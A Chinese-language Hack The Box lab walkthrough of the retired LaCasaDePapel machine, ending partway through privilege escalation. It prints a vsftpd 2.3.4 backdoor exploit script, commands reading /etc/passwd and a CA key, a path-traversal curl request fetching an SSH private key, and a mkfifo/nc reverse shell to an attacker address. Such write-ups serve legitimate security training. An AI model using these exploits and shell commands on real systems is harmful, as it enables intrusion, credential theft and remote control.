HTB-靶机-LaCasaDePapel
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.131
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.131 -o ./LaCasaDePapel-autorecon
看到开放了21,22,80,443端口,根据扫描的结果得知不能通过匿名的方式访问,但是版本刚好是vsftp 2.3.4存在后门版本,我们直接利用此后门,详情参考:https://www.exploit-db.com/exploits/17491
利用脚本
def exploit(ip, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) sock.send('USER :)\n') sock.send('PASS HTBPass\n') time.sleep(2) sock.close() os.system("rlwrap nc 10.10.10.131 6200 -v") exploit("10.10.10.131", 21)
成功利用vsftp后门可正常执行命令,上述利用成功之后会开放6200端口,可以使用nc或者telnet去连接此端口都是可以的,连接上去之后是psysh的shell环境,参考:https://psysh.org/ 所以有了如下操作
print_r(scandir("/")) 查看目录 echo file_get_contents("/etc/passwd") 查看文件 print_r(scandir("/home")) print_r(scandir("/home/nairobi")) echo file_get_contents("/home/nairobi/ca.key")
读取到一个证书信息,先放着,再看看80和443端口
绑定hosts访问443端口
访问的80端口可以使用谷歌的也可以使用火狐的,这里两个都给出
https://addons.mozilla.org/en-US/firefox/addon/auth-helper/
https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2
不过也就访问下80端口上的信息,在此靶机上没啥大的作用,我们重点看看访问443端口的信息提示证书错误,估计是需要导入证书了,刚好上面获取到了ca.key的信息,可以通过此文件ca.key进行生成证书导入到浏览器即可,具体生成的命令如下
openssl genrsa -out client.key 4096 openssl req -new -key client.key -out client.req openssl x509 -req -in client.req -CA lacasadepapelhtb.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
最终生成p12证书
将其导入到Firefox浏览器里面
导入完成之后再次访问443端口
显示正常了,点击了这两个SEASON-1和SEASON-2
得到了对应访问的URL地址,和avi格式的文件,我下载了其中一个发现是空文件,看了下路径,尝试使用../访问看看
惊奇的发现可以读文件了,也可以通过下载文件来读取文件,直接读取用户私钥信息
可以通过curl命令直接进行读取,注意访问URL的地址类型是经过base64编码的,所以准备好读取的路径经过base64编码即可
curl -k https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=
得到私钥给其权限600直接使用密钥进行登录,用户名的话刚好上面读取了/etc/passwd,发现有4个普通用户,都试了一遍确认用户professor可以登陆
下载pspy在目标靶机上执行查看运行的进程确认当前靶机存在计划任务,具体执行了memcached.js
还发现当前用户组存在SGID权限
所以可以通过备份文件memcached.ini然后新建一个跟其一样的名称文件,里面写入反弹代码即可提权
1.首先在tmp目录下新建反弹shell脚本
cd /tmp echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 >/tmp/f' > bmfxshell.sh chmod +x bmfxshell.sh
备份memcached.ini新建跟此一样的文件名写入如下
[program:memcached]
command = su -c /tmp/bmfxshell.sh